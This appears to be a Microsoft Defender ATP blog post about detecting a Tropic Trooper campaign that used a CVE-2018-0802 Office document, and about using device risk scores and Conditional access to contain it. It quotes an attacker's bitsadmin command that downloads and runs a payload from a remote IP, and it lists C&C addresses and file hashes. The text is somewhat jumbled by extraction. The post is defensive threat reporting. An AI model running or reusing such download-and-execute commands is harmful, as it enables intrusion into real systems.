protect networks

Microsoft Defender ATP Team

All Microsoft V Search O Sign in

Several weeks ago, the Windows Defender Advanced Threat Protection (Windows Defender ATP) team uncovered a new cyberattack that targeted several high-profile organizations in the energy and food and beverage sectors in Asia. Given the target region and verticals, the attack chain, and the toolsets used, we believe the threat actor that the industry refers to as Tropic Trooper was likely behind the attack The attack set off numerous Windows Defender ATP alerts and triggered the device risk calculation

Windows Defender ATP device risk score exposes new cyberattack, drives Conditional access to

mechanism, which labeled the affected machines with the highest risk. The high device risk score put the affected machines at the top of the list in Windows Defender Security Center, which led to the early detection and discovery of the attack. With the high risk determined for affected machines,  $\underline{\text{Conditional access}}$  blocked these machines' access

to sensitive content, protecting other users, devices, and data in the network. IT admins can control access with Conditional access based on the device risk score to ensure that only secure devices have access to enterprise resources. Finally, automatic investigation and remediation kicked in, discovered the artifacts on affected machines

that were related to the breach, and remediated the threat. This sequence of actions ensured that the attackers no longer had foothold on affected machines, returning machines to normal working state. Once the threat was remediated, the risk score for those machines was reduced and Conditional access Investigating alert timelines and process

#### trees We discovered the attack when Windows Defender ATP called our attention to alerts flagging several different suspicious activities like abnormal Office applications activity, dubious cross-process injections,

and machine-learning-based indications of anomalous executions flows. The sheer volume and variety of the alerts told us something serious was going on Alerts related to this machine

# Suspicious Powershell commandline

Process hollowing detected An Office application ran suspicious commands Figure 1. Multiple alerts triggered by the attack

The first detection related to the attack was fired by a suspicious EQNEDT32.exe behavior, which led us to the entry vector of the attack: a malicious document that carried an exploit for CVE-2018-0802, a vulnerability in Microsoft Office Equation Editor, which the actor known as Tropic Trooper has exploited in

previous campaigns. Using Office 365 ATP Threat Explorer, we found the specific emails that the attackers used to distribute the malicious document. Using Windows Defender Security Center, we further investigated the detected executable and found that the attackers used bitsadmin.exe to download and execute a randomly named payload from a remote

Machine timeline activity showed that the executed payload communicated to a remote command-and-

 $\verb|bitsadmin / transfer Cd / priority foreground http:/<IP address>: 4560/.exe &USERPROFILE & Variable & Vari$ 

In some cases, the attacker ran additional activities using malicious PowerShell scripts. Windows Defender ATP's Antimalware Scan Interface (AMSI) sensor exposed all the attacker scripts, which we observed to be meant mostly for data exfiltration.

 $control\ (C\&C)\ server\ and\ used\ the\ \underline{process\ hollowing}\ technique\ to\ run\ code\ in\ a\ system\ process\ memory.$ 





The alerts that were raised for this attack resulted in a high device risk score for affected machines

#### Windows Defender ATP determines a device risk score based on different mechanisms. The score is meant to raise the risk level of machines with true positive alerts that indicate a potential targeted attack. The high device risk score pushed the affected machines to the top of the queue, helping ensure security operations teams can immediately notice and prioritize. More importantly, elevated device risk scores

trigger automatic investigation and response, helping contain attacks early in its lifespan In this specific attack, the risk calculation mechanism gave the affected machines the highest risk based on cumulative risk. Cumulative risk is calculated based on the multiple component and multiple types of anomalous behaviors exhibited by an attack across the infection chain. Windows Defender ATP-driven

conditional access

When Windows Defender ATP raises the device risk score for machines, as in this attack, the affected devices are marked as being at high risk. This risk score is immediately communicated to Conditional

### access, resulting in the restriction of access from these devices to corporate services and data managed This integration between Windows Defender ATP and Azure Active Directory through Microsoft Intune

ensures that attackers are immediately prevented from gaining access to sensitive corporate data, even if  $\frac{1}{2}$ attackers manage to establish a foothold on networks. When the threat is remediated, Windows Defender ATP drops the device risk score, and the device regains access to resources. Read more about **Conditional access here** 

Signal sharing and threat remediation across Microsoft Threat Protection Threat signal sharing across Microsoft services through the Intelligent Security Graph ensures that threat remediation is orchestrated across Microsoft Threat Protection. In this case, Office 365 ATP blocked the

related email and malicious document used in the initial stages of the attack. Office 365 ATP had determined the malicious nature of the emails and attachment at the onset, stopping the attack's entry

This threat signal is shared with Windows Defender ATP, adding to the rich threat intelligence that was used for investigation. Likewise, Office 365 ATP consumes intelligence from Windows Defender ATP, helping make sure that malicious attachments are detected and related emails are blocked.

point and protecting Office 365 ATP customers from the attack.

that affected devices are not allowed to access sensitive corporate data until the threat is resolved. Windows Defender ATP, Office 365 ATP, and Azure Active Directory are just someof the many Microsoft services now integrate through Microsoft Threat Protection, an integrated solution for securing identities, endpoints, user data, cloud apps, and infrastructure.

Meanwhile, as mentioned, the integration of Windows Defender ATP and Azure Active Directory ensured

Conclusion The new device risk calculation mechanism in  $\underline{\text{Windows Defender ATP}}$  raised the priority of various alerts that turned out to be related to a targeted attack, exposing the threat and allowing security operations teams to immediately take remediation actions. Additionally, the elevated device risk score triggered automated investigation and response, mitigating the attack at its early stages.

 $\label{through Conditional access} \mbox{Compromised machines are blocked from accessing critical corporate assets.}$ This protects organizations from the serious risk of attackers leveraging compromised devices to perform

To test how these and other advanced capabilities in Windows Defender ATP can help your organization

Hadar Feldman and Yarden Albeck

### Indicators of attack (IoCs) Command and control IP addresses and URLs:

199[.]192[.]23[.]231 **4**5[.]122[.]138 [.]6 lovehaytyuio09[.]com

Windows Defender ATP team

cyberespionage and other types of attacks.

detect, investigate, and respond to attacks,  $\underline{\text{sign up for a free trial}}.$ 

Files (SHA-256): 9adfc863501b4c502fdac0d97e654541c7355316f1d1663b26a9aaa5b5e722d6 (size: 190696

 073884caf7df8dafc225567f9065bbf9bf8e5beef923655d45fe5b63c6b6018c (size: 195123 bytes, 1aef46dcbf9f0b5ff548f492685d488c7ac514a24e63a4d3ed119bfdbd39c908 (size: 207444, type:

docx)

Unified endpoint security

Questions, concerns, or insights on this story? Join discussions at the Microsoft community and Windows

TRY WINDOWS DEFENDER ATP >

 $Attack\ surface\ reduction\ |\ Next\ generation\ protection\ |\ Endpoint\ detection\ \&\ response\ |\ Auto\ investigation\ \&\ remediation\ |\ Security\ posture\ |\ Advanced\ hunting$ 

• 5589544be7f826df87f69a84abf478474b6eef79b48b914545136290fee840fe (size: 727552, type:

Follow us on Twitter  $\underline{@WDSecurity}$  and Facebook  $\underline{Windows\ Defender\ Security\ Intelligence.}$ Filed under:

Defender Security Intelligence

Talk to us

Al and machine learning, Compliance, Cybersecurity, Microsoft Intelligent Security Graph, Microsoft Intune Office 365 Security, Secure Score, Windows Security

You may also like these articles

Free import of AWS CloudTrail logs through

June 2020 and other exciting Azure Sentinel

New Microsoft Security innovations and

updates

Read more >

Azure Sentinel uncovers the real threats

hidden in billions of low fidelity signals

partnerships

Read more >

## **Get started with Microsoft Security**

make the world a safer place.



Get all the news, updates, and more at @MSFTSecurity

Microsoft is a leader in cybersecurity, and we embrace our responsibility to

What's new Surface Pro X Surface Laptop 3 Windows 10 apps

Microsoft Store Education

Account profile Microsoft in education

Download Center Office for students

Microsoft Store support Office 365 for stools

Returns Deals for students & paren

Order tracking Microsoft Azure in education Buy online, pick up in store

Microsoft Azure in education

Office for students

Office 365 for schools

Deals for students & parents

Enterprise
Azure
AppSource
Automotive
Government
Healthcare

Developer
Microsoft Visual Studio
Windows Dev Center
Developer Network
TechNet Channel 9
Office Dev Center
Microsoft Garage

About Microsoft Privacy at Microsoft Sitemap Contact Microsoft Privacy & cookies Terms of use Trademarks Safety & eco About our ads © Microsoft 2020

Company

English (United States)